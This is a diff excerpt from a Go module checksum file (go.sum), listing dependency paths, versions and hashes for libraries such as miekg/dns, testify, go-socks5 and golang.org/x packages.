@@ -297,47 +214,33 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/miekg/dns v1.1.51 h1:0+Xg7vObnhrz/4ZCZcZh7zPXlmU0aveS2HDBd0m0qSo=
github.com/miekg/dns v1.1.51/go.mod h1:2Z9d3CP1LQWihRZUf29mQ19yDThaI4DAYzte2CaQW5c=
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/pquerna/otp v1.4.0 h1:wZvl1TIVxKRThZIBiwOOHOGP/1+nZyWBil9Y2XNEDzg=
github.com/pquerna/otp v1.4.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
github.com/rogpeppe/go-internal v1.6.1 h1:/FiVV8dS/e+YqF2JvO3yXRFbBLTIuSDkuC7aBOAvL+k=
github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/shirou/gopsutil/v3 v3.22.10 h1:4KMHdfBRYXGF9skjDWiL4RA2N+E8dRdodU/bOZpPoVg=
github.com/shirou/gopsutil/v3 v3.22.10/go.mod h1:QNza6r4YQoydyCfo6rH0blGfKahgibh4dQmV5xdFkQk=
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
@@ -348,14 +251,12 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
@@ -365,124 +266,88 @@ github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKs
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
github.com/xlab/treeprint v1.1.0 h1:G/1DjNkPpfZCFt9CSh6b5/nY4VimlbHF3Rh4obvtzDk=
github.com/xlab/treeprint v1.1.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q=
go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=
go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU=
go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM=
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0 h1:qfktjS5LUO+fFKeJXZ+ikTRijMmljikvG68fpMMruSc=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA=
golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g=
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1 h1:B333XXssMuKQeBwiNODx4TupZy7bf4sxFZnN2ZOcvUE=
golang.org/x/oauth2 v0.4.0 h1:NF0gk8LVPg1Ml7SSbGyySuoxdsXitj7TvgvuRxIMc/M=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 h1:uVc8UZUe6tr40fFVnUP5Oj+veunVezqYl9z7DYw9xzw=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
